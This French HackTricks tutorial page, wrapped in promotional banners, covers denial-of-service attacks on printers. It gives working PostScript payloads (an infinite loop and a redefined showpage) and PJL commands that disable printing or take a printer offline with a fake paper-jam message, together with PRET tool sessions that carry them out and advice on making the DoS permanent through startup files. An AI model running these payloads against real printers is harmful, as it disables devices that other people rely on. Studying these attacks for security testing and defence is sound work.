Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Les langages de description de page permettant des boucles infinies ou des calculs nécessitant beaucoup de temps de calcul. Même des langages minimalistes comme [PCL](http://hacking-printers.net/wiki/index.php/PCL) peuvent être utilisés pour télécharger des macros permanentes ou des polices jusqu'à ce que la mémoire disponible soit consommée. # PostScript ## Boucles infinies ``` %! {} loop ``` Utilisation de [PRET](https://github.com/RUB-NDS/PRET) : ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hang Warning: This command causes an infinite loop rendering the device useless until manual restart. Press CTRL+C to abort. Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM! ``` ## Redéfinir showpage En définissant `showpage` – qui est utilisé dans chaque document pour imprimer la page – pour ne rien faire du tout, les travaux PostScript sont traités mais ils n'imprimeront rien. ``` true 0 startjob /showpage {} def ``` Utilisation de [PRET](https://github.com/RUB-NDS/PRET) : ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> disable Disabling printing functionality ``` ```markdown Le code des deux attaques peut également être écrit dans les fichiers Sys/Start, startup.ps ou similaires pour provoquer un **DoS permanent** sur les appareils disposant d'un disque inscriptible. # PJL ## PJL jobmedia Des commandes PJL propriétaires peuvent être utilisées pour mettre les anciens appareils HP, comme la série LaserJet 4k, en mode service et désactiver complètement toutes les fonctionnalités d'impression, comme illustré ci-dessous : ``` ``` @PJL SET SERVICEMODE=HPBOISEID @PJL DEFAULT JOBMEDIA=OFF ``` Utilisation de [PRET](https://github.com/RUB-NDS/PRET) : ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> disable Printing functionality: OFF ``` ## Mode hors ligne De plus, la norme PJL définit la commande `OPMSG` qui ‘invite l'imprimante à afficher un message spécifié et à passer hors ligne’ \cite{hp1997pjl}. Cela peut être utilisé pour simuler un bourrage papier comme montré ci-dessous : ``` @PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS" ``` Utilisation de [PRET](https://github.com/RUB-NDS/PRET) : ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> offline "MESSAGE TO DSIPLAY" Warning: Taking the printer offline will prevent yourself and others from printing or re-connecting to the device. Press CTRL+C to abort. Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM! ``` **Pour en savoir plus sur ces attaques, consultez** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
Apprenez le pentesting AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm). * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).